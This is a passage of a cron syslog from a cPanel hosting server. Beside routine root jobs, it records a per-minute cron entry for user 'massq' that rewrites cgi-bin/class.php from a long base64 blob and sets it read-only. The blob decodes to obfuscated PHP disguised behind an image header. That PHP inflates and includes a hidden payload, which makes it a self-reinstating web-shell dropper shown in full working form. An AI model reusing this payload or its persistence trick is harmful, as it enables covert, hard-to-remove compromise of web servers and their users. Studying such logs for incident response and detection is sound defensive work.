BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:41:01 server CROND[13209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:41:01 server CROND[13208]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:41:01 server CROND[13210]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:42:01 server CROND[13576]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 20:42:01 server CROND[13577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:42:01 server CROND[13578]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:42:01 server CROND[13579]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:43:01 server CROND[13964]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:43:01 server CROND[13965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:43:01 server CROND[13966]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:44:01 server CROND[14339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:44:01 server CROND[14340]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:44:01 server CROND[14341]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:45:01 server CROND[14814]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 20:45:01 server CROND[14815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:45:01 server CROND[14818]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:45:01 server CROND[14819]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 20:45:01 server CROND[14817]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 20:45:01 server CROND[14820]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:45:01 server CROND[14821]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 20:46:01 server CROND[15641]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:46:01 server CROND[15642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:46:01 server CROND[15643]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:47:01 server CROND[16037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:47:01 server CROND[16038]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:47:01 server CROND[16039]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:48:01 server CROND[16430]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:48:01 server CROND[16431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:48:01 server CROND[16432]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:49:01 server CROND[16799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:49:01 server CROND[16800]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:49:01 server CROND[16801]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:50:01 server CROND[17279]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 20:50:01 server CROND[17280]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 20:50:01 server CROND[17284]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 20:50:01 server CROND[17287]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 20:50:01 server CROND[17288]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:50:01 server CROND[17291]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 20:50:01 server CROND[17290]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 20:50:01 server CROND[17289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:50:01 server CROND[17292]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:51:01 server CROND[18105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:51:01 server CROND[18106]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:51:01 server CROND[18107]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:52:01 server CROND[18490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:52:01 server CROND[18491]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:52:01 server CROND[18492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
